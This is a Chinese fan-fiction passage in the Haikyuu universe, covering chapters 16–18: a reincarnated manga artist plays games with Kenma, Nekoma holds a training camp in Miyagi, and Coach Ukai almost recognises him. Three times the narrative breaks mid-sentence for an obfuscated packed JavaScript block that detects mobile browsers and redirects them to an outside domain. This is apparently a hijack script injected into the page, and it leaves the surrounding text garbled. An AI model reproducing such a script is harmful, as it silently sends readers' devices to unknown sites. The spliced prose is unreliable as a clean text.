天满震惊地看着孤爪研磨硬生生靠着技术一次通关,从头到尾都没有失误,根本没有用上那个存档。
「什么?!我竟然输了,你的游戏水平居然这么高。」
「啊啊啊啊啊我不管我不管,我要再来一次!我不允许你这个庶民超过我!」
“她怎么变成傲娇大小姐了!” 作为漫画家敏锐的OOC雷达动了,天满不能忍受任何不尊重初始人设的行为,“内向呢?文静呢?人设是角色故事的底线吧!”
“还好,她只对主角这样,这算反差感。”孤爪研磨完全无所谓,他想了想还是进一步解释道,“如果一个人对你的态度独一无二,和别人完全不一样,让玩家更容易引发心动吧。”
“……真的假的,我读书少别骗我?”天满确实没什么爱情经验,也没有画过什么爱情剧情。
“嗯,真的。”
天满将信将疑地看下去。
如研磨所言,经历重重磨难,但好感值如同做火箭,势如破竹地越涨越高。
屏幕之上最终顺利地浮现一段海边打沙排的动画CG,天满迅速抬手拍照截图作为素材,最终穿着泳衣的这位女生在夕阳落下的那一刻红着脸与男主角告白。
「海成同学,我喜欢你。」
“——我不同意这场婚事。”天满突然连拍三下桌子。
“……”孤爪研磨被他吓得一激灵,疑惑地转头,“又怎么了?”
“我不允许海成和江边在一起,性转的江边也不行。”天满像个严肃的老父亲,强硬地叉着手地说,“我雷骨科,我的两个儿子在一起算乱、伦。”
研磨冷笑一声,按下A键,在波涛声中两人拥吻在一起。
“啊啊啊啊啊我的眼睛。”
“天满好吵。”
除去最后的刺眼画面,天满愿意把孤爪前辈的攻略之路概括为四个字——太精彩了。
孤爪研磨除了最开始的小失误,之后把主角的数值完美卡在通关剧情的每条线上,仿佛开挂了一般不用靠攻略一路强推下去。
每一个选项都选中关键好感选项,在天满面前表演一场酣畅淋漓的美少女攻略游戏。
天满同学举手:“我可以问个问题吗?”
“问。”研磨淡然地放下手柄。
天满郑重地深吸一口气,无比认真的询问:“孤爪前辈,你竟然是个Playboy(花花公子)吗?”
“……闭嘴。”他就知道伊吹天满的嘴里吐不出象牙。
窗外的瓢泼大雨终于停下来了。
雨后的天空呈现一种迷幻的墨蓝色,像是洗刷掉灰尘的玻璃棱镜,显得干净透亮。
孤爪研磨用手机查了下还有最后一班电车,便站起身告辞,准备回家。天满无奈且不舍地在门口挥别孤爪前辈,靠在门边装作不经意地挽留,这可是珍贵地与男主原型亲密接触的时刻。
他苦素材久矣。
机不可失,失不再来。
“其实前辈可以留宿的。”天满纠结了一秒还是说出口,“家里有多余的被褥。”
研磨果断拒绝,他甚至都不需要花多余的脑力去思考,十分平静地与天满对视:“你又是想要偷偷收集什么类似男子夜谈会的信息吧。”
是的——他就是这么想的,明明他已经在努力压制内心的期待和祈愿?
研磨打量着天满诡计被戳破的呆愣神情,真是的……害得他莫名其妙地笑了一下。
“手机。”孤爪研磨说。
“嗯?”天满疑惑。
“我们还没有交换Line。”
“哦,是的。”
这应该责怪伊吹那个社恐,明明刚入社的时候是要联系方式的最好时机,他偏偏不好好珍惜。
两个人站在因为下雨而变得格外湿漉漉的走廊里。
孤爪研磨先伸出了手机,天满这才贴上去近,两人静静地等待着,直到蓝牙匹配的声音响起,两边的屏幕都因为申请弹窗而更亮一些。
“前辈……”天满突然说,“呃。”
“怎么?”
天满语塞,他默了默,不自在地用手指蹭着裤腿。
“怎么说呢……”他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12496810|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
声音很小,“我现在的视线会好点吗?”
研磨顺势抬眼,两个人的视线交错,天满像是被烫了一下,立刻低下头摆弄手机,错开长时间的对视。
“嗯,看起来有在认真改正。”他听见孤爪前辈的声音。
手机里叮咚了一声,天满的好友申请通过了。
孤爪研磨把手机揣回兜里。
“天满,后天见。”
“后天见,前辈。”
天满看着布丁头前辈像是一缕淡淡的风,寂静无声地消失在视野里。他走进卧室,默然发现刚才的喧闹声也像是吹过的风,此刻已经荡然无存。
可他的手机屏幕的上显示的东西很少,在短短几条的「最近联系」列表里悄悄地多出一个新头像。
“Kodzuken,是名字的缩写吗?”
他沉默地点进那个微缩头像的预览大图,轻轻地笑了一声。
“居然是苹果派吗?”
孤爪前辈不应该是那种会把游戏cg图、或者纯黑纯白纯红作为头像的那类人吗?
听说把随手拍食物设成头像的人都是乐于分享的人,天满想了想,走到桌边拍了还没桌上吃了一半的速食披萨。
披萨明明有六块,他吃了三块,而孤爪前辈只吃了一块。
失联两天请报警:[图片]
Kodzuken:?
失联两天请报警:前辈是浪费食物的小食量。
Kodzuken:[猫猫打你]
Kodzuken:是留着给你的,多吃点能长高。
天满耍了个坏心眼,他立刻把这张披萨图换成了自己的头像。
Kodzuken:?
Kodzuken:换回去。
失联两天请报警:不要,可以提醒前辈每顿饭多吃点。
失联两天请报警:前辈好像比我矮一厘米哎。
Kodzuken:[猫猫刀人]
在集训之前,天满一整天的时间都用来争分夺秒地赶稿。现如今,《银月暴击》已经连载到第十二话,但他还需要继续制作第十三话。
月刊的周期比周刊要长,但对于当月连载页数要求的下限必然高于周刊标准。周刊每周需要更新单页二十张左右,而月刊需要每月更新单页五十张左右。
虽然整体而言,月刊的压力更小,但平均分到每天要完成一页半左右的原稿。更何况在原稿之前,要先审核分镜,再画出线稿再审一次,然后才能从线稿转换为原稿。
大部分情况下,连载漫画家都会有1-3个助手,从线稿到原稿,涉及比较简单的涂黑、背景、擦除等机械化工作,都是由漫画助手完成。
——但天满没有,他全得自己来做。
这个月算是遭大难了,又有月考,又有黄金周的集训。为了不会耽误原稿的提交,他前半个月积攒了太多工作,他黄金周的唯一的休假日都要用来痛苦肝图。
好在大半夜,他总算完成到第二步的线稿,用传真机传过去后终于可以开始收拾行李。
这次的集训目的地是宫城,对于音驹的其他人来说是长途旅行,而对天满而言完全是回快乐老家。
“我记得乌野今年有个孩子喜欢我来着,跳跃也特别有力。”他回忆起几年前看的春高,乌野有一次打进全国大赛,对战鸥台,他刚好大学就在关东,专门去现场观看,“是叫日向翔阳对吧?”
他记得当时那个孩子过来和他握手,说因为在电视上看见自己跳跃的姿态才开始想要打球的。
“给他专门带个伴手礼吧。”他想,再次拿起了画笔。
16.欢迎来到宫城
“天满?”
列夫遥遥地就看见走过来的音驹红色队服,等那人走近,他才看出些端倪:“你怎么变成这个样子了?”
“啊,剪头发了。”天满说,“夏天有点热。”
列夫伸手摸摸天满的卷发,比以前短了好一些,尤其是遮住额头的刘海,明亮的眼睛第一次大大方方地露出来。
灰毛猫猫觉得很新奇,围着小伙伴转了好几圈。
如果说以前是厚重蓬松的绵羊,列夫觉得这一头自然卷现在最多算是炸毛乱翘的长毛猫。
“还带眼镜了。”列夫指了指他鼻梁上的黑色框架眼镜,“你突发近视了?”
“近视怎么可能突发,这是平光镜。”
“哎——那这样不碍事吗?”
“不懂了吧,这有独特的效用。”
他露出高深莫测的表情。
天满曾经在宫城有点小名气,还上过地方台的电视。
伊吹天满这家伙顶着一张和高中时期的自己一模一样的脸,还留着相似的发型,从头到脚都和原先的自己毫无区别。
宫城不大,更何况他还要去乌野比赛,并且计划着去扫一次自己的墓,感觉走两步就能遇到认识的人。
因此迫不得已,天满只能使用这个在漫画、小说、游戏等ACG中都堪称神器的道具——无懈可击眼镜君!
无论原先长成什么样子,无论闪亮还是丑陋——只要戴上一副神奇的眼镜,都会变得平平无奇,绝对没有一个人能认出来!
哼哼,而且他中二期专门留长的刘海悄然派上用场,对他头发下的这张脸有印象估计就只有当年的排球部员、曾经的同班同学……同年级都不一定能认出。
他不仅仅靠着玄学,还特意准备着作为杀手锏的十二字真言。
——他不问,我不说,他一问,我惊讶。
在这样万全的准备下,配上改变发型和戴上眼镜的双buff加持,还有这一身红到爆炸潮到风湿的音驹排球部部服,他就不信有人能把自己和几年前的宫城小巨人联系在一起。
音驹一行人开开心心地集合乘车。
“我还没坐过新干线哎。”犬冈走背着包十分好奇地在新干线的车厢里看来看去。
“哎。”芝山优生跟在他身后,“不是吧。”
“我坐过!”列夫骄傲地抬起头,“我和姐姐一起到北海道玩过!”
手百说:“按理说一般都有坐过吧,你们初中没有修学旅行吗?”
“因为太过激动所以早上发烧没去成……”犬冈垂头丧气。
“喂,一年级们。”黑尾从最前方往后看,因为个子很高,像个稳重的大人,“这几排应该都是我们的位置,赶快找地方坐下,别站在过道上聊天。”
更小的猫猫们瞬间安静,抱着球包找到自己的座位,乖乖地坐在椅子上。但这份寂静仅仅持续了一分钟,从芝山开始掏出扑克牌为止,一年级的孩子们又开始玩闹。
他们一起先是玩了抽鬼牌,又玩了国王游戏,最后说要来点高难度的二十一点。
这时天满手机弹了条消息。
Kodzuken:过来。
同年级的人比较熟悉,因此天满旁边都坐着一年级的部员。而前辈们在后侧的那两排,天满从过道位置探出头往外看,只见斜前方有个黑色鸡冠头在向他招手,对他做出一个「快来快来」的口型。
“怎么了,黑尾前辈?”
“我们换个座。”
他不明不白地被站起身的黑尾前辈按到新座位上,还没反应过来,旁边座位的孤爪前辈递给他一个手柄。
这时天满才发现,孤爪研磨面前的桌板上立着游戏机,上面显示着熟悉的太空枪战的双人模式,还有一个又大又刺眼的「失败」。
“小黑带不动。”他解释着,“你来陪我玩。”
作为幼驯染,研磨深知小黑的游戏水平有多烂,明明打排球的时候脑子和动作都很清晰灵活,拿起游戏手柄就开始花式送死,每一个操作都能投稿到弱智集锦bot的程度。
而相反,伊吹天满就是一个手速和反应相当足够的工具人。
孤爪研磨是这个游戏单人模式记录的保持者,但双人模式一直毫无进展,仍然停在上次与天满的第十三关。
“这个游戏双人模式的最高纪录是在第八十九关。”孤爪研磨计划拿到这个游戏的双冠,他问,“可以陪我玩吗?”
天满顿了一下,问:“有奖励吗?”
“……你想要什么奖励?”
“呃,这是能说的吗?”
“说。”
“摆我想要的姿势画一张速写。”
“你走吧,让小黑回来。”
天满坚决捍卫手中来之不易的手柄:“开玩笑嘛,前辈。”
行驶在铁轨上的新干线还算平稳,并不会影响游戏的操作,顶多玩久了会有些晕车感。研磨和天满势如破竹,虽然中途遇到些难题,但默契值不断提升,真的在列车到达前一路合力打到第九十关,
打完第九十关后,连接热点让排行版刷新后,No.1的位置最终显示出Kodzuken的名字,孤爪研磨这才满意地放下手柄。
“打到九十关就够了?”
“嗯,要给挑战的勇者们留点希望和余地。”
“……前辈,这个想法有点恶劣啊。”
研磨用手机拍下屏幕中这个游戏双模式No.1的截图后,又拍了一张列车小桌板上的两个手柄,双手操作一通,把今天的战绩上传到自己的推特和一个知名游戏论坛里。
“孤爪前辈是在运营账号吗?”天满微微侧头看他的手机屏幕,名为Kodzuken的社媒账号竟然已经有不少的粉丝量。
“嗯,以前只是偶尔分享游戏的成果。”研磨回答,“现在想认真试一试。”
“那我也支持一下。”天满掏出手机,按下关注的按钮,成为这个账号第1016个粉丝,“以后就是老粉了。”
研磨在手机屏幕上从粉丝栏的最新关注中的最上方找到伊吹天满,轻轻点个回关。
“给老粉的奖励。”
车上的广播这时刚好传来乘务员的声音,刚好卡在闯关游戏时间结束的节点,温柔的女声正在播报着下一站的信息,从东京出发的新干线穿过大半个霓虹达到了目的地——宫城县。
我的快乐老家!天满站在车站,多少有点近乡情怯。
“大家先休整一番,半个小时后我们在大厅集合去吃午饭。”直井监督拿着计划表安排事宜,“记得拿上球包,我们饭后直接去租好的排球馆训练。”
因为是社团集训而经费受限,还要省去租训练场地的钱,音驹排球部只能住在有些老旧的民宿里,但这类民宿是榻榻米大通铺,反而受到了全体高中男生们的欢迎。
天满高兴到合不拢嘴,上次没能搜集到的男子夜谈会素材也有望了——刚好他想让漫画里的主角团前去集训。
午饭是猫又教练请客,他说集训第一天必须要吃肉才能有力气,便带着音驹的小伙子们来到一处家庭烤肉店,说这是以前老朋友推荐的老店,实惠又美味。
这家店果真好吃到爆炸,连小食量的孤爪研磨都默默多吃了半碗饭,更何况其他正值青春期的男高中生。
吃饱饭足后,直井监督和猫又教练便领着撑着肚子想睡觉的猫咪们去到练习的场地,是一处社区居民用的排球馆。
“虽然到了新环境,但大家不要懈怠,接下来的每一天都会与宫城的一所学校进行连续的练习赛。”
“一年级生可能不太理解,实际上连着三天的练习赛是想让各位熟悉IH的强度,从六月连续三个周日我们都要进行IH东京赛区的预选赛。” 直井解释,“由于场馆限制和参赛队伍较
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12519459|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多,赛程安排并不固定,但一天必然要打连续好几场,需要我们利用这次集训提前适应赛程的紧迫感,并且锻炼出足够的耐心和体力。”
“那么接下来让猫又教练讲讲明天对战的槻木泽高中……”
人会对熟悉的环境产生依赖感。每天都在熟悉又安心的体育馆进行训练,音驹排球部的队员们很少感觉到这种更为严肃和认真的气氛。
虽然重复着相似的训练,但所有人的话都少上几分,可身体的兴奋感却愈发强烈,将最大的精力都投入到每一个动作之中——垫球、托球、鱼跃、扣球、拦网……不断地重复着每一个动作直到大汗淋漓。
最后训练结束后,每个人都累到只能瘫在木地板上喘着粗气,可身体却说着还想继续触球和跳跃(这句形容不包括二传手)。
“今天明明很累但是超级畅快。”犬冈形容着这种感觉,“太爽了——这就是集训吗!”
“是是,没见过吧。”黑尾笑了笑,直起身子,“走,我请吃肉包。”
“真的吗,谢谢前辈!”
“不客气,让我们最可靠的副队长掏钱。”
“你又在说什么鬼话呢?黑尾。”海信行露出和善的微笑。
直井监督看着这群快活的少年,就嘱咐着记得七点回民宿吃晚饭,不浪费时间直接宣布散会,任由这群孩子去新环境撒欢玩乐。
音驹浩浩荡荡的十一个人从居民排球馆出来,看哪都新奇。
宫城的高大的建筑很少,反之街边的野花野草更有风趣,太阳落下的余晖使道路铺上一层金色辉光,行人走路的姿态都很悠闲,让这些异乡人也沉浸在懒洋洋的惬意中。
City Boys熟练掌握所有主流社媒和软件的使用方法,不一会儿就凑出一份相当不错的游玩攻略。
“我们先去附近一家肉包出名的商店垫下肚子。”夜久卫辅拿着手机总结着,“接下来直接去三公里外的月山神社,好像求学业和事业运很不错,小道消息称本县常年优胜的白鸟泽每年都会组织全员去这里赛前祈福。”
“这是要偷学人家吗,不好吧?”
“排球人的事怎么能说是偷呢?”
“死道友不死贫道,走!我们去把他们的运势吸干。”
“三公里……我能不能申请退出这次活动。”
“不行哦,研磨。”
在夜久的带领下,他们七绕八绕,在陌生的城市里寻找方向,最终依赖导航走到了一家名为坂下商店的店铺。
“就是这家商店,据说肉包都是店长大嫂每日新鲜现做。”提出这个地点的福永解释,音驹里他对食物最有研究。
红色的猫猫们打开门,一个接着一个鱼贯而入,十一个昂首挺胸的高中生把小小的坂下商店塞到有些拥挤。
刚从乌野集训归来、日常替老妈看店的乌养系心教练坐在柜台后,异常头痛地看着眼前饱和度过高的一大片红色。
这是什么诡异的运气。
等等!乌养系心转念一乐——这明明是收集情报的好时机,无论是身高还是体格,或者乍一看给人的气场,都能展现很多信息。
嘻嘻,直井,看来是我更胜一筹。
这位教练一边装肉包一边暗中观察,试图从外貌体型判断出一些音驹的数据,明天好让乌野排球部进行更多的针对性训练。
那就是二传,其貌不扬啊——这位倒挺稳重,感觉不好惹——这只不像猫像个混进来的汪汪——这个一看就是自由人——可恶居然招到了个混血吗,一米九以上?
他的目光从左边开始认真地扫视着每一个人,尤其是赛事视频里从未出现过的一年级生们,悄悄偷笑,更新全新的资料数据,直到落到队伍末尾的身影。
黑色卷发,戴着眼镜,而眼镜下的这张脸……
乌养系心没忍住爆了一句霓虹粗口。
“诈尸了?”
17.不断向上
诈你个大头鬼。
究竟是哪里出了问题——天满抓狂。
等等——是Flag!
他绝望地想起自己出发前居然在心里给立了一个天大的Flag,他怎么能犯这样低级的错误。
——插旗必倒是每个二次元都该切记的常识啊!
而且为什么好死不死偏偏是系心哥!
天满是想要去找乌养教练的,但他有点不敢,还得多做些心理准备。
乌养教练和猫又教练是两个极端,那位乌野的养鸦人脾气稍微有一点点小暴躁(天满:我的形容词是一点点,没有说教练暴躁的意思),而且人上了年纪就会变得很啰嗦。
上辈子这段时间他还在大学,教练他老人家也在病休,憋在病床上每天都很无聊,所以老打电话骚扰他,先是问他学习怎么样生活怎么样,然后开始督促他少熬夜多运动,最后催他找对象。
不过后来出院以后,教练忙起他的排球小事业,又开始干老本行忽悠小朋友练排球,便懒得管远方的他了,突然清净起来反而天满都不适应,结果换成他每个月去主动给教练打电话汇报近况。
说回现在——他犯的可是叛鸦投猫的大罪啊!
这位教练应该不会从病床上跳下来追着他跑……天满想。
说不定垃圾场都不让他打了……那猫又教练好不容易琢磨出好多新奇战术,又厉害又酷,那不被他一个人全毁了。
还有更重要的一件事。
在东京,没有人知道自己,就连猫又教练上辈子也没有特别多的交谈。在音驹高校,他就像认识新朋友一样,可以随心所欲地展现自己的本性。
而宫城不一样,这个地方有着另一个宇内天满,在三年前已经意外身故,这恰恰证明着……他们并不是同一个人。
这也是他并不想在宫城被认出的原因,这里埋葬着太多他的过去。
他不能保证这个世界的宇内天满和自己完全一样,度过了完全一样的人生,与其他人有着完全一样的联系,拥有着完全一样的回忆。
——他不知如何面对两人都熟识的人,他既害怕他们两个太过相像,让旁人错认,也害怕他们两个差异很大,让旁人失望。
总之他没有办法取代那个宇内天满。
天满不知道自己该怎么处理这样复杂难搞的穿越事故,他甚至自己都解释不清这错综的关系,所以——遇事不决先装死。
抱歉,他从大学到工作完全没学会别的,就学会三个词,一个叫拖延,一个叫糊弄,一个叫摆烂。
还是那句老话——逃避虽然可耻,但是有用。
天满克制住自己的本能动作,坦然自若地开始装死。
乌养系心呆愣地看着他这边,甚至手里夹的肉包都掉到了桌上。
“老板老板,救救肉包!”猫猫们着急。
“哦哦……抱歉抱歉。”乌养教练急忙低头,手忙脚乱地营救,“没事没事,重新给你们拿一个啊。”
乌养系心手上辛勤行动着,但眼睛余光一直在扫最末尾的黑色卷毛。他看了又看,看了又看,这不就是活生生的宫城小巨人宇内天满吗?
变短的黑色自然卷,但一如既往的矮小身高,除了红到碍眼的音驹队服,那张脸比去世的宇内天满还像宇内天满。
——这个世界终于癫成我没见过的模样了。
黑尾铁朗把袋子里的肉包按顺序分发下去,优先分给一年级的孩子们。
“伊吹,这是你的。”
“谢谢部长。”
伊吹?
乌养教练确认自己没听错,像是悬着的气终于松开,直接坐到在收银台后面的躺椅上。
他记得宇内天满原来的母姓就是伊吹吧,据说远方亲戚也是有概率长得很像。
人的记忆会随着时间慢慢消退,明明只过去两年,闭上眼他甚至描摹不出记忆里宇内原本的面貌,像是隔着一层雾,只能依稀记起大致五官。
天满是长这个德行吗?他灵魂发问。
乌养系心再度认真打量后,好像——或许——可能也没到一模一样的程度?
比如宇内的鼻子似乎更挺一些,眼睛也更圆更大,还有气质什么的,这个人看上去乖巧文静,宇内咋咋唬唬。
——所以不是一个人啊,其实年龄也不对。
吓死,他都开始计划要找哪家神社办除灵仪式了。
“一共一千一百日元。”乌养差点忘记收钱,又仰卧起坐。
音驹里站出个鸡冠头利落地掏钱,然后整个音驹排球部人手一个肉包,讨论着要去什么景点,步履愉快地向坂下商店外走去。
直到门外已经听不见高中男生的吵闹声,乌养的心情终于再平寂下一点。
见到了分外相像的人,冷不丁让他又想起了宇内天满。
乌养系心和宇内天满是差了五届的前后辈,他们认识的时候,乌养才刚高二,而宇内刚刚从小学升入初中。他是乌野排球部的板凳球员,而宇内是刚刚接触排球的小屁孩。
他第一次见面真没觉得眼前那个又瘦又小又臭屁的国中生未来会在全国大赛大放异彩——直到看见那个孩子从地上飞跃到高空。
“哟,系心。”那天,爷爷领着个最多一米五出头的小孩回家,“你有空给这个孩子托球吗?”
这个孩子有一头炸毛的黑色自然卷,脑袋像是顶着一个乱糟糟的鸡窝,抱着一颗黄蓝相间的排球,有些害羞地躲在爷爷的身后。
他的爷爷乌养一系是乌野排球部的教练,同时周末隔三岔五会在居民排球馆的排球教室当临时教练,美名其曰从小培养好苗子,实际上就是想忽悠那些天赋好的小学生国中生考去乌野高中。
“老头,你不要总把小孩子甩给我……”
“哎——正好练练你的二传,总不能三年都坐冷板凳吧。”
“不要无情地往自己亲孙子的伤心处扎刀子啊!”
总之,乌养系心被亲生爷爷与不认识的小鬼一同扔在后院的小型排球场。
他低头睥睨着:“所以小鬼,你叫什么名字?”
“天满,我叫宇内天满。”黑色小卷毛抬头仰望比自己高大许多的高中生,这就是高中排球部部员该有的身高吗,他犹豫了一下后好奇地问,“你有一米八吗?”
“……”乌养系心肯定,“有。”
乌养大概估摸着小孩的个头所对应的年龄,主动提起聊天话题,缓解陌生人初见的尴尬气氛:“你是旁边小学的学生?我也是那个小学毕业的。”
“……我是初中生,初一。”
“噗——”乌养系心没憋住,蹲下身揉揉这头卷毛,手感还不错,“你这个身高比同龄人差太多了,要打排球啊。”
“嗯,好笑吗?就和你根本没有一米八一样好笑。”
“……”他是比这个小鬼大五岁的成熟高中生,他不能生气。
乌养系心忍了一下没忍住,毫不留情地给这个小鬼一个手刀:“首先先教你点大人的道理——在真正的身高标准里,一米七五以上含一米七五全都算是一米八。”
天满揉着脑袋,憋屈地甩开他的手,抱着球缩到一边,说要去找乌养教练告状。
“过来站好。”乌养提起前辈的气势,凶巴巴地。
宇内天满不情不愿地站到球网前。
“我爷爷让你打什么位置,自由人吗?但他刚才嘱咐我给你托球……”
“乌养教练告诉我,我可以当主攻手。”
“主攻手。”乌养系心沉默,可不可以是一回事,能不能做到是另一回事,他又伸手摸了摸小不点乱翘的头发,他爷爷又在异想天开地计划些什么。
“好吧,我来给你托球,需要帮你把球网调低吗?这是我的经验——新手先多多体验扣球的爽快感会更容易上手和熟悉球感,我小时候差点没坚持下来。”
现在是乌养自己训练用的正常高度,这个一米五出头的小鬼得多跳出九十厘米才能够到。
“没关系,我能跳到的。”
“哎,这么自信?”
“教练说,如果想要不断向上,就在心里默念「飞吧」,然后尽全力起跳,剩下的就不用管了。”
“哦——哈哈,「飞吧」可是我们乌野的口号呢!”乌养系心很高兴,“以后考来我们乌野吧。”
“好啊,尼桑(哥哥)。”黑色小卷毛扬起一个大大的笑容,“谢谢你愿意给我托球。”
——尼桑。
独生子女乌养系心的猛男心脏受到深度暴击。
他决定了!他要用毕生功力给自己异父异母的亲生弟弟托个好球!!
“宇内天满啊。”
事到如今,无论是他自己还是宫城小巨人的时代都已经悄然无声地落幕了——像是细小的雨滴落进汪洋大海,片刻溅起的涟漪都会被浪花冲散。
宇内天满的父母早逝,是父母的亲戚们轮着带大的,最后兜来转去是在邻县舅舅那边办的葬礼。而自己的爷爷那时候正好生病,作为乌养家的代表,只有乌养系心一人前去悼念。
黄发人送黑发人啊。
此时此刻的乌养系心有些惋惜地坐在椅子上,追忆着自己青春时期的点点滴滴,年近三十的大男人没忍住吸了吸鼻子。
——他好像很久没去扫墓了啊。
乌养慢慢地掏出一根香烟点燃,吸一口任由烟草味在肺部转了一圈,重新唇齿间喷出。
“……不对!”他突然掐灭香烟,拍案而起,“我有种特别特别不祥的预感。”
这是他们乌养一家祖传的直觉,他感觉今天的心脏正在狂跳,一突一突的,存在感十足。
——肯定有哪里不对劲。
他在收银台后面绕圈转悠,琢磨到底哪里出了问题。
……那个叫伊吹的音驹球员,长得堪称神似宇内天满,因此有很大机率引出一个结论——他是小巨人的远方亲戚。
那么大胆假设他真的是宇内的亲戚
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12542763|132099||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,因此有可能不仅仅长得像,或许基因的力量更加强大……
——那个家伙很有可能也能一蹦几丈高!!
“我太聪明了!”
乌养被自己的机智狠狠折服,不过几分钟就把事情盘得清清楚楚:“可恶,这次音驹来势汹汹啊。”
屋漏偏逢连夜雨,乌野的队伍拼拼凑凑仍有不足。离比赛不到一周,他甚至没决定好派谁去当二传,影山实力强,菅原更受主力队员信任——都是不错的人选。
而且菅原已经三年级了。
他叹了口气。
“总之先多训练下日向和影山的怪人速攻,至少是个奇袭的手段,先加急每天多训练一百个扣球!”
从坂下商店出来的音驹队员们并没有对刚刚的异样产生反应,也没察觉店员是即将对战的乌野高中的教练,顶多觉得刚刚的店员神神叨叨,可美味的肉包早就吸引走他们全部的注意力。
“下一站是月山神社!”
“再问一遍,我可以申请中途退出吗?”
“不行哦,研磨。如果因为我们的大脑没有前去神社参拜,神明让我们抽到一把烂签,什么井闼山什么枭谷都和音驹在一个小组,那就都怪你。”
“……他们是第一种子和第二种子,不可能分到一个小组。”研磨小声吐槽。
“总之你不能临阵脱逃!”
月山神社是县内有名的神社,建在附近的山林上,最大受赞誉的是春天漫山遍野的樱花。
但黄金周的时间不巧,宫城的樱花也早已凋谢,眼前已然变成葱绿繁茂的晚春景象。来自东京的少年们导航到城迹公园附近,从旁边的小路沿着城迹公园一路向下走,就能看见深棕色的四角形神社顶门。
门后是拾级而上的鸟居,沿着长长的台阶,缓缓通向矮山的顶端。
神社参拜的流程很简单,在主殿前认真许愿,鞠一躬再往钱箱丢入钱币,想着心中的愿望再摇铃一次,深深的鞠躬两次并拍手两次,最后再鞠躬一次便完毕。
天满本没想好具体的愿望,但站在全员静默祈福的音驹里,那个愿望顺其自然地出现在心底。
——希望音驹能够拿到IH的优胜。
他把五百元的硬币投入钱币箱,诚心祈祷着。
“接下来是不是要求签?”
“刚刚看见了,在入口的附近。”
每个神社都不一样,有的神社没有凶签,有的神社吉凶并存,而月山神社便是后者。实际上,即使吉凶都有,神社也会默默提高吉签的概率,让来祈福的民众们至少有安心的收获。
音驹的一行人各自买上一条签文,聚在一圈喊着口号一起摊开,乍一看最上方的大字就让部长黑尾想要逃避。
清一色的十个「凶」,加上他手里的「大凶」,一模一样的字,一模一样的脸黑。
他们排球部是倒霉到什么地步,这全员抽到大吉概率还低吧。
“部里一定是有邪祟。”福永盯着签文说,“要驱邪了。”
山本猛虎认同地点头。
天满:……这大概也许应该不关我的事情吧。
凶签一般要绑到寺庙的绳子上,神明会听到你的祈愿,前来清赶走这些坏运气。排球社的少年们开始比起身高和臂长,看谁能绑到最上面一排绳子——当然这个比赛由灰羽列夫完胜。
黑尾没有同别人一样做,他把那张最有威慑力的「大凶」收到钱包里安置。
“小黑不去绑上吗?”研磨站在他身边,瞧见他的小动作。
黑尾铁朗笑了笑:“怎么说呢,我很喜欢签文里的一句话,所以还是留下吧。”
“嗯,是什么?”
“人生总会遇到难以翻越的高山,但即使前路崎岖辛苦,也要奋起向前,总有一日会到达山顶。”
“……”
“你为什么一脸被恶心到的表情?”
“小黑原来会轻信这种虚无缥缈的人生大道理。”
“我……只是觉得这种境遇和音驹很像罢了。”
音驹面前立着很多座高山。
近年来他们一直都没机会进入全国大赛,很大原因是源于东京赛区的豪强数不胜数。作为参赛学校最多的地区,即使每年IH东京地区都有两个出线名额,但参赛队伍却有两百多支。想要成为第一优胜和第二优胜,需要进行三大轮七八场的淘汰赛。
上次关东大赛的八强将作为种子球队在IH中跳过第一轮,并且分到A-H八个赛组避免过早相遇,音驹只停留在十六强并无种子名额,而无论抽到那个赛组都将遭逢一场硬仗。
“我们会一步一步地不断向上爬,直到登上最高的山巅。”黑尾说。
一旁偷听许久的天满再次掏出了他记录素材的小本子。
——部长,我观你骨骼清奇天赋异禀,每次都是怎么想出这种中二又热血的台词。
——那段什么血液什么羁绊也挺不错,考虑一下,要不要来当他的脚本作家。
18.小太阳驾到
音驹集训的第一场练习赛是对战槻木泽高中。
“所有人跟紧队伍。”直井监督大声说,他还举着一个红彤彤的小旗子,与其说像个老师更像是旅社的导游,“注意下身边人不要掉队啊。”
他们本来是想要租车的,但部费实在紧张,于是就只能用腿脚走。
但带着十一个十几岁的青春期男生出游让直井学真的心累,一会儿没看住队伍就会少一两个人。什么列夫和犬冈跑去池塘玩水,什么福永和猛虎瞧见好笑的标语驻足模仿……堪称一个省心的都没有,直井学觉得自己回到东京,他一定要严肃整改排球部的组织纪律问题。
“报告直井监督,又少人了。”
直井学额头青筋暴起:“谁掉队了?”
“研磨和伊吹。”
监督感到头痛:“黑尾,给他们打电话。”
而另一边,天满和孤爪研磨站在道路的正中央,他们只是被旁边围墙上的三花猫吸引了目光,天满非说这只猫说长得好像孤爪前辈,研磨表示反对,等他们讨论结束大部队已经不见身影。
“我觉得一定是往这边走。”好歹在宫城生活了十几年,天满对方向感非常自信。
